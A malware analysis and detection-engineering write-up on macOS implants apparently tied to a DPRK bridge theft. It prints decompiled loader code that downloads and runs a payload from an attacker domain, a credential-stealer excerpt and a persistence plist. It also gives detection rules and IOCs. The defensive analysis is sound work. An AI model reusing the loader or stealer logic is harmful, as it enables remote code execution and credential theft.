When Your Expensive EDR Is Blind: Creating Your Own Detections
A friend was frustrated that his EDR and his managed detection service did not identify and ideally stop the LayerZero incident. He was not targeted specifically; the targeting was general, but the point stung all the same: the tooling he pays for did not see it. The question we landed on was therefore a practical one. Can we use their report and analyse the samples, learn something, and turn that understanding into new detections for the same TTPs?
That is the whole experiment. I am not the IR firm, I do not have the cloud logs, and I never ran a single sample. What I have is the public incident report, three recovered macOS binaries, two decompilers, and the usual threat-intel pivots. The goal was not to re-litigate the attribution; it was to get from “the report says X happened” to “here is a rule that fires when X happens again.”
A note on honesty up front, because it matters for detection work. I tag every claim by how strongly I can back it: sample-confirmed (I verified it in the binary, its decompilation, or a decoded payload), capability/runtime-derived (the behaviour is in the binary but a specific IOC is assembled at runtime), and report-only (described in the report for a component I do not hold). If you build detections off the wrong tier you ship rules that cannot fire. More on that later; it is the single most important lesson here.
The incident, briefly
On 18 April 2026 the KelpDAO rsETH bridge, built on the LayerZero cross-chain messaging protocol, was drained of 116,500 rsETH (~$292M). The mechanism was not a smart-contract bug. The attacker compromised LayerZero’s internal RPC nodes and ran a denial-of-service against an external RPC provider, which forced the single configured DVN (Decentralized Verifier Network) to fail over onto the poisoned internal nodes and attest to a forged cross-chain message. Mandiant and CrowdStrike attribute the operation to DPRK / UNC4899 (TraderTraitor / Jade Sleet / Pressure Chollima).
The kill chain from the report reads like textbook DPRK tradecraft:
| Date (UTC) | Stage |
|---|---|
| 2026-03-06 | Social engineering: a developer cloned a malicious GitHub repo → two macOS implants dropped |
| 2026-03-30 → 04-16 | Cloud recon / persistence: the developer’s session keys reused (via VPNs) to reach GCP/GitHub despite MFA/SSO |
| 2026-04-16 → 04-18 | Lateral movement / RPC poisoning: op-geth on two GKE clusters injected with an ELF implant |
| 2026-04-18 16:30 | DoS of the external RPC → failover onto the poisoned internal nodes |
| 2026-04-18 17:35 | Exploit: 116,500 rsETH unlocked |
The detail that should bother every blue-teamer: the EDR on the developer’s machine did not flag the implants, and as I will show, that is entirely consistent with what the samples look like. They are signature-blind. If your strategy is signatures, you were always going to lose this one.
The samples
The report named seven components. Three are macOS binaries that made it into public collection, and those are the three I can actually hold and verify. The filenames are the SHA-256, and the two published MD5s match the report, so these are byte-identical to what the IR firm analysed.
| Short | Codename (report) | Lang | Role | SHA-256 prefix |
|---|---|---|---|---|
| S1 | FLATROOF (SystemUpdate) |
Rust | infostealer / dropper, Telegram C2 | 6328…f4982525 |
| S2 | ROOFDECK (iSync) |
Rust | RAT, Nostr C2 | 61a1…fda1e60b2d |
| S3 | terraform-provider-awsbeta | Go | trojanized provider (initial access) | f1df…e4e96390 |
The other four (an Injector, two ELF implants carved from an op-geth core dump
(CARVED1 / CARVED2 a.k.a. librpcmon.so), and a never-recovered Worker
librpcw.so) are the part of the chain that actually moved the money. I do not
have them, they are not in commodity malware feeds, and everything I say about
them is report-only. I will come back to why that is the most important gap in
the whole detection story.
All three macOS samples are arm64 Mach-O. I analysed them on Linux, where they
cannot execute, kept at chmod 600 with no execute bit, and never ran them. The
tooling was file, strings, lief for the Mach-O structure, IDA Pro and
Binary Ninja headless for decompilation, plus VirusTotal, REDS, Censys and
urlscan for the pivots.
First thing worth confirming, the signature-blindness:
~/go/bin/vt file 6328567511d88fdc2ae0939c5ef17b7a63d2a833881900de018a4f12f4982525
# 0 / 75 detections. Same for S2 and S3. First-seen 2026-05-22,
# all three within a 43-minute window: one toolkit, one operator.
Zero out of seventy-five. Not “benign”, novel. The AV industry simply had not caught up. That single fact dictates the entire detection design: behavioral rules are the durable layer; hashes and domains are disposable tripwires.
S3: the Terraform provider that downloads and runs a payload
This is the initial-access component and the easiest to prove, because Go keeps
its symbol names. terraform-provider-awsbeta typosquats the official AWS
provider. The trick is that Terraform launches providers as child processes over
the go-plugin/gRPC handshake, so the moment a developer runs terraform init
or terraform plan against a config referencing this provider, the implant
executes. No further user interaction.
How did such a config land on the victim’s machine at all? Per the incident
report, the developer was socially engineered into cloning a malicious GitHub
repo whose Terraform config pointed at the actor’s fake registry,
registry.hashicorp-aws[.]com, so the “install” was just terraform doing its
job against a poisoned source. That registry domain is static in the S3 binary
(sample-confirmed), and the registry host itself was real and stood up weeks
before the attack. The lure itself, how the developer was talked into the clone,
is the one link in the chain with no artifact behind it: the report says only
“socially engineered”, and the malicious repo is not held. Clone to implants on
disk took about seven minutes.
The malicious package decompiles cleanly. The loader, initInstanceInternal,
lives at the same address (0x1003A3470) in both IDA and Binary Ninja, two
independent tools recovering the same chain is what keeps this at
sample-confirmed. Here is the IDA/Hex-Rays pseudocode, lightly trimmed (the
v79/v81 names are decompiler artifacts, not source):
// terraform_provider_awsbeta_internal_provider_awsbeta_initInstanc@1003A3470.c
v79.str = (uint8 *)"https://diagnose.hashicorp-aws.com/plugins/grpc/v6/schema/"
"metrics/333afe63-c5a2-43f0-b046-7cbaa7797e8a";
v81 = net_http__ptr_Client_Get(v47, v79); // [113] HTTP GET to the C2
... fmt_Errorf("download failed: %w", ...) ... // [122] error-string ladder
... fmt_Errorf("create file failed: %w", ...) ... // [142]
v75 = os_Chmod(v53, v50, 493); // [197] 493 == 0o755 → make executable
v76._r0 = os_exec_Command(v57, v58, ...); // [210] build child process
v77 = os_exec__ptr_Cmd_Start(...); // [271] execute it, detached
So the behaviour is unambiguous: GET a second-stage from a lookalike domain →
write it to disk → chmod 0755 → exec it as a detached child. The detach
is real too: configureSysProcAttr sets Setsid/Setpgid and a lockfile
guards a single background instance. The C2 hides behind a path that reads like
benign plugin telemetry (/plugins/grpc/v6/schema/metrics/…), which is a nice
touch.
Note what the domain is: diagnose.hashicorp-aws.com. Not hashicorp.com. The
whole campaign leans on hashicorp-aws.com, a domain that, when I pivoted it
through Censys, was registered and parked back in 2024, then sprouted
operational subdomains (registry., minio., diagnose.) on 2026-02-26,
about six weeks before the attack. Aged-then-weaponized. Classic.
This loader is the cleanest detection opportunity in the entire intrusion, and I will build the first rule on it.
S1: FLATROOF, a Rust shell around a Python stealer
S1 is a stripped Rust release binary, and that changes how you read it. The
strings are real, but the collection logic is not in the Mach-O; it ships as a
base64-embedded Python payload that the Rust code drops and runs (via a
bundled portable CPython, so it does not depend on the victim’s system Python).
I carved the blob and decoded it to a .txt (defanged, never executed). The
Python is blunt and readable:
# 6. Keychain File (raw)
def collect_keychain():
src = Path.home() / "Library/Keychains/login.keychain-db" # T1555.001
dst = output_dir / "Passwords" / "login.keychain-db"
safe_copy(src, dst)
def collect_terminal_history():
shell_files = {
".bash_history": "bash_history_copy.txt",
".zsh_history": "zsh_history_copy.txt",
".config/fish/fish_history": "fish_history_copy.txt", # T1552
".xonsh_history": "xonsh_history_copy.txt",
}
# Chromium + Firefox credential stores, plus:
subprocess.run(["ps", "aux"], capture_output=True, text=True)
subprocess.run(["system_profiler", "SPHardwareDataType", "SPSoftwareDataType"], ...)
# … then shutil.make_archive(output_dir, 'zip', …) → collected_data.zip
Keychain, every browser credential DB, all the shell histories, a process list,
a hardware/software profile, zipped into collected_data. The Rust outer shell
handles C2 over Telegram: api.telegram.org, the teloxide-core crate,
sendMessage/sendDocument. The strings confirm it directly:
strings -n 6 6328...2525 | grep -aoE 'api\.telegram\.org|teloxide|endpoint-macos-aarch64-[0-9a-f]+'
# api.telegram.org
# teloxide
# endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea
That last line is a gift. It is the ad-hoc code-signing identifier, a build
artifact the report never published. REDS/malcontent reading the Mach-O surfaced
it independently of my strings grep, which is what raised it from “an odd
literal” to a build-family signal worth tracking. I verified it is present in S1
only (S2 and S3 do not carry it), so it is a FLATROOF/build-family hunt signal,
not proof of the whole toolset. But if your telemetry surfaces Mach-O signing identifiers,
endpoint-macos-aarch64-* is about as close to a unique fingerprint as you get.
The first detection-engineering trap
Here is the lesson I promised. The report lists FLATROOF IOCs like
io.caiai.net/staticscandatav15/upload, technicais.sytes.net/..., and the
install path ~/Library/com.apple.iTunesCloud/SystemUpdate. Obvious YARA/file
fodder, right? Except:
strings -n 4 6328...2525 | grep -ac 'io.caiai.net\|technicais.sytes.net\|com.apple.iTunesCloud'
# 0
Zero. They are not in the byte-identical binary. They are assembled or
fetched at runtime, almost certainly from the dead-drop config I will show in
S2. This is not a discrepancy with the report; it is the difference between a
network/host runtime artifact and a static one. If you write a file-based
YARA rule for those paths, it will never match the sample on disk. The protocol
endpoints (api.telegram.org, the Nostr relays) are static and matchable. The
exfil URLs and install paths are not. Knowing which tier each IOC sits in is the
whole game.
S2: ROOFDECK, a Nostr RAT, and why text-grep lies to you
S2 is the most interesting binary and the hardest to read. It is a full remote-access trojan whose C2 runs over Nostr, the decentralized, relay-based protocol, so takedowns are hard and the traffic looks like a chat client. It is also a stripped Rust async release binary, which means the obvious static approach fails in an instructive way.
Rust release builds merge string literals into one big concatenated table, read
by (offset, length) slices with no null terminators. So when you grep for a
relay you do not get a clean hit; you get the seam between two literals:
strings -n 6 61a1...e60b2d | grep -ao 'recovery_url[!-~]*' | head -c 120
# recovery_urlpastebin_keywss://relay.damus.iowss://nos.lolwss://nostr.momwss://relay.snort.social...
Look closely at that run. Three config keys followed by the relay list, all
fused: nostr_public_keys · recovery_url · pastebin_key · then
wss://relay.damus.io, wss://nos.lol, and so on. (I originally read that
middle token as pastebin_keyword; the merged table makes it easy to swallow
the next literal. It is pastebin_key. When your string evidence is going into
a detection, the exact bytes matter.)
All eight relays from the report are present, plus one the report never
published, wss://nostr.wine:
for r in relay.damus.io nos.lol nostr.mom nostr.wine relay.snort.social \
offchain.pub relay.nostr.band nostr.oxtr.dev; do
printf '%-22s %s\n' "$r" "$(grep -ac "$r" 61a1...e60b2d.strings.txt)"
done
# every one returns 1, including nostr.wine, the sample-confirmed extra relay
The recovery_url / pastebin_key / nostr_public_keys triplet is, in my
assessment, a dead-drop config resolver: if the relays are unreachable the
implant pulls fresh config (and probably those runtime-only exfil URLs from S1)
from a paste site keyed by a keyword. The strings are confirmed; the dead-drop
role is an inference, tagged accordingly.
Tracing the dispatcher by xref, not by reading
The command handlers are where you would normally read the malware’s intent. But
this is async Rust: the command match is fused into a generated poll() state
machine. Binary Ninja flat-out fails to render the dispatcher; IDA emits an
18,000-line poll function flagged “positive sp value detected.” Linear reading
is hopeless.
The technique that works is address-based xref, anchored on the
compiler-embedded core::panic::Location strings, every src/command/...rs
module path the compiler baked in for panics. In Binary Ninja headless:
import binaryninja
bv = binaryninja.load("samples/artifacts/s2.bndb") # cached, pre-analyzed
# 1. find the module-path string → 2. its Location struct → 3. the function
for ref in bv.get_data_refs(addr_of("src/command/dispatcher.rs")):
for code in bv.get_code_refs(ref):
print(hex(code.address), code.function) # → sub_100026308, the dispatcher
That recovers the full 12-command handler set from the module paths:
shell run wget upload rssh kill ps ls find tail df info, and the call sites
inside the dispatcher: df→sub_100049228, ls→sub_100049258,
ps→sub_100049198, find→sub_10004916c, info→sub_1000357a8;
shell/run/tail inlined; rssh split across the dispatcher and five
out-of-line functions. That is a remote shell, arbitrary exec, file up/download,
reverse SSH with an interactive PTY (portable-pty), process control and
filesystem recon. Persistence is a LaunchAgent (Library/LaunchAgents + a
</plist> builder, sample-confirmed), and the channel is hybrid-encrypted
(rsa-0.9.8 + aes-gcm-0.10.3).
What I could not recover statically: the exact wire keywords an operator types and the integer→variant map. Those are casualties of the async-poll fusion. I am flagging that rather than guessing, because a detection built on a guessed keyword is worse than no detection.
The part EDR cannot save you from
Everything above is endpoint-visible. The stage that moved $292M is not, and any honest detection write-up has to say so plainly.
The forge ran inside op-geth on the GKE nodes. Per the report, an Injector
loaded CARVED1 (a manual ELF loader: mmap reserve, load segments, apply
relocations, run constructors), which mapped CARVED2 (librpcmon.so).
CARVED2 uses funchook to hook Go’s syscall.Syscall/Syscall6 trampolines,
intercepts read/write/close/sendto, parses the JSON-RPC, and calls the
Worker’s rpc_handler to forge Ethereum RPC responses, returning correct data
to LayerZero’s monitoring and tampered data to the DVN.
I do not hold those binaries. I checked REDS by hash and by every distinctive
content string (rpcm_static_mode, librpcmon.so, rpc_handler, the
# step N: reading .so debug strings): zero hits, while a control string
returned 148,615. They were carved from a single core dump and never
distributed. So this stays report-only, and more to the point: in-memory
trampoline hooking leaves almost no endpoint signal. You can catch the
launcher and the anomalous .so load; you cannot see the byte-level forge from
the endpoint. The compensating control is not EDR at all; it is RPC
cross-observer anomaly detection at the protocol layer (the report’s own fix).
Same story for the cloud session-key reuse: that needs identity telemetry, not a
host sensor.
That is the uncomfortable answer to my friend’s question. The endpoint sensor can catch this intrusion early, at the Terraform exec and the implant install, but the two stages that turned access into money were never going to be endpoint-visible. Defence in depth across products, or you lose.
Turning it into detections
With the tiers straight, the rules write themselves. CrowdStrike Custom IOA syntax cannot be verified from my chair, so these are telemetry signal + logic as labelled pseudo-patterns: validate field names in your own console before shipping. Ranked by fidelity. Each rule carries an Evidence line tagging the tier it actually rests on, because a rule is only as trustworthy as the artifact under it: ✅ sample-confirmed (I can point at the binary or a decoded payload), 🟡 runtime-derived (the capability is in the binary but the literal IOC is assembled at runtime), 🧠 assessed (inferred from a confirmed artifact), 📄 report-only (no sample held).
D1: Terraform provider acting as a downloader/loader (highest fidelity). This is the chokepoint, and it is backed by the decompilation above.
Evidence: ✅ sample-confirmed: the S3 initInstanceInternal pseudocode shown
above (GET → chmod 0755 → detached exec), recovered identically in IDA and
Binary Ninja.
# Custom IOA: Process Creation (macOS + Linux)
ParentBaseFileName ~= /terraform-provider-/
AND ( child ImageFileName ~= /\/(chmod|sh|bash)$/
OR child created in a world-writable path then executed
OR child created in a NEW SESSION (setsid) → detached daemon )
# paired Network IOA:
ImageFileName ~= /terraform-provider-/ AND outbound domain NOT in (*.terraform.io)
A legitimate provider never chmod 0755s a freshly downloaded file, execs it
detached, and beacons outside registry.terraform.io. Near-zero false
positives. (The ptrace anti-debug arm is Linux-runtime only; on macOS
PT_DENY_ATTACH is self-applied and not an ESF event, so treat it as a
static/triage signal, not a shippable rule.)
D2/D3: LaunchAgent persistence + masquerade execution.
Evidence: ✅ persistence sample-confirmed: S2 carries the full LaunchAgent
plist template it writes, and the masquerade is visible right in it: the Label
prefix com. is completed at runtime into the com.apple.* lookalike, and
--type=renderer makes the agent pose as a Chromium helper child. 🟡 the
~/Library/com.apple.* install paths the plist points at are runtime-built, not
static in the binary, same trap as the S1 exfil URLs, so detect them on the
host/wire, not with file-content YARA.
<!-- S2 strings (lines 1760-1774): the LaunchAgent plist it builds at runtime -->
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.</string> <!-- runtime-completed → com.apple.* masquerade -->
<key>ProgramArguments</key>
<array>
<string></string> <!-- implant path, runtime-filled -->
<string>--type=renderer</string> <!-- poses as a Chromium renderer child -->
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
<!-- ...written to: Library/LaunchAgents/<name>.plist -->
# File Creation (macOS): a process writing ~/Library/LaunchAgents/*.plist
# whose ProgramArguments resolve under ~/Library/com.apple.* OR outside
# /Applications, /Library, /usr → user-Library hidden path.
#
# Process Creation (macOS): exec from ~/Library/com.apple.iTunesCloud/,
# ~/Library/com.apple.internal.ck/, or image basename in (SystemUpdate, iSync)
# running outside /System or /usr. Pair with ad-hoc-signing check → escalate.
Apple’s real components run from /System/Library, never
~/Library/com.apple.*.
D4/D5: decentralized and Telegram C2.
Evidence: ✅ sample-confirmed via strings: the full S2 Nostr relay table
(shown earlier as the concatenated wss://… run, including the unpublished
nostr.wine) and the S1 api.telegram.org / teloxide strings. These are
static and matchable; the per-victim exfil URLs are not.
# Network/Domain IOA: outbound (incl. wss://) to a Nostr relay
# relay.damus.io, nos.lol, nostr.mom, nostr.wine, relay.snort.social,
# offchain.pub, relay.nostr.band, nostr.oxtr.dev, api.nostr.watch
# from a NON-browser process on a managed endpoint. (nostr.wine is the
# sample-confirmed extra relay; include it.)
#
# Connection to api.telegram.org from a process that is NOT Telegram Desktop
# or a browser → scope by process image, not domain alone.
Nostr from a corporate engineering laptop, from a non-browser process, is rare and high-signal.
D13/D14: reverse SSH and network-spawned shells (straight off the ROOFDECK
rssh/portable-pty handlers):
Evidence: 🧠 assessed: the rssh handler and portable-pty (interactive
reverse-SSH capability) were recovered by the xref trace above, so the
capability is sample-confirmed; but the exact ssh flags below are inferred
from that capability, not read off the binary (the literal arguments are
casualties of the async-poll() fusion). Tune before shipping.
# ssh (or autossh) with reverse/no-shell flags (-R -N -T -f
# -o StrictHostKeyChecking=no) whose parent is a non-TTY background daemon.
# /bin/sh|/bin/zsh|/bin/bash exec'd as a child of a process that has no
# controlling TTY AND has a recent/concurrent outbound connection.
D8/D9: collection and credential access (hunt-grade; macOS read-telemetry is limited, so lean on the write/staging side):
Evidence: ✅ sample-confirmed: the carved S1 Python stealer shown above
(keychain copy, shell-history sweep, browser credential DBs, system_profiler,
zip to collected_data).
# One process tree, short window: touches multiple shell-history files
# AND runs system_profiler AND writes *.zip under /tmp or .../collected_data*.
# Non-browser process opening login.keychain-db / Login Data / key4.db /
# logins.json / Cookies.binarycookies (if file-open events are collected).
And the honest gaps: D10/D11 (anomalous .so mapped into op-geth, the
Injector spawning) are Linux/container-sensor hunts; D12 (the funchook
forge) and the cloud session-key reuse are simply not EDR-visible:
protocol-layer RPC cross-observer integrity and identity telemetry,
respectively. Evidence: 📄 report-only: the op-geth chain (Injector / CARVED1
/ CARVED2 / Worker) is not in my collection and returned zero REDS hits, so
there is no binary to quote; these rest on the incident report alone.
Indicators of compromise
Defanged. Treat hashes and domains as disposable: a urlscan liveness pass
(2026-06-03, run unlisted so the probe does not surface to an actor watching
urlscan for their own infra) shows the web C2 already torn down. io.caiai.net
is NXDOMAIN; the hashicorp-aws.com web ports refuse connections, though the
host stays up on SSH with certs renewing into late June 2026; and
commsouthindia.com resolves to a Namecheap parking redirect, which is why it is
flagged do-not-block below. The durable value is the behaviors above and the
IP/ASN/cert-name patterns.
Hashes (SHA-256):
6328567511d88fdc2ae0939c5ef17b7a63d2a833881900de018a4f12f4982525 FLATROOF / SystemUpdate (S1)
61a110681a70af3dc21634558e12b1c00964f0cf48e90c89896eb0fda1e60b2d ROOFDECK / iSync (S2)
f1df3737c972c5caf070d21a86f132648e6fe1ca07ba541c73eb30f1e4e96390 terraform-provider-awsbeta (S3)
MD5 c586e6be49105a23af8f306b560e35e6 (S1, report-published)
MD5 c22a69c45ec74af11a9f87f195ebd392 (S2, report-published)
Network:
hashicorp-aws[.]com (+ diagnose. / registry. / minio. / minio-console.)
https[:]//diagnose.hashicorp-aws[.]com/plugins/grpc/v6/schema/metrics/333afe63-c5a2-43f0-b046-7cbaa7797e8a
caiai[.]net (+ io. / node. / webio.) technicais.sytes[.]net
api.telegram[.]org commsouthindia[.]com (parked, see caveat)
Nostr relays: relay.damus.io, nos.lol, nostr.mom, nostr.wine*, relay.snort.social,
offchain.pub, relay.nostr.band, nostr.oxtr.dev, api.nostr.watch/v1/online
(* nostr.wine = sample-confirmed, NOT in the report's published list)
31.42.177.193 (AS43641 Sollutium EU, NL, hashicorp-aws.com C2/staging)
213.111.148.202 (AS6698 Virtual Systems LLC, UA, caiai.net infra, Windows VM)
⚠ DO NOT BLOCK 162.255.119.85 (commsouthindia / shared Namecheap parking, ~100 tenants)
Host artifacts:
codesign id endpoint-macos-aarch64-5555494492fc075f441637fb9d894913dde3a2ea (FLATROOF only)
~/Library/com.apple.iTunesCloud/SystemUpdate ~/Library/com.apple.internal.ck/iSync
~/Library/Spelling/words-en.dat /temp/collected_data/ · /temp/collected_data.zip
S2 config keys: recovery_url · pastebin_key · nostr_public_keys (dead-drop resolver, assessed)
(Remember: the caiai.net/technicais exfil URLs and the
~/Library/com.apple.* install paths are runtime-constructed, not static in
the binaries. Hunt for them on the host and the wire, not in a file-content YARA
rule.)
Closing
So, could we use the report and the samples to build detections for the same TTPs? Yes, and decisively, for the front of the kill chain. The Terraform loader (D1) is a single near-zero-FP rule sitting on the exact chokepoint, and it is grounded in decompilation, not vibes. Persistence, masquerade, C2, reverse-SSH and collection all map to clean behavioral IOAs. None of it depends on a hash or a domain, which is the point: the operator will rebuild the binaries, but they cannot rebuild the behaviour without rebuilding the operation.
What we could not do, and what no endpoint product could have done, is see the in-memory RPC forge or the cloud session-key reuse. Those are the two stages that turned a developer’s laptop into $292M, and they live below and beside the endpoint, respectively. That is the real answer for my frustrated friend: the EDR’s silence on the money stage was structural, not a tuning failure. But its silence on the front of the chain was avoidable, and the rules above are where you start fixing it.
All static, all on a Linux box where these arm64 binaries cannot run, nothing executed. The most valuable output was not a hash. It was knowing which tier each indicator lives in, because that is the difference between a rule that fires and one that never could.
#Malware-Analysis #Reverse-Engineering #Macos #Rust #Golang #Dprk #Supply-Chain #Detection-Engineering #Threat-Intelligence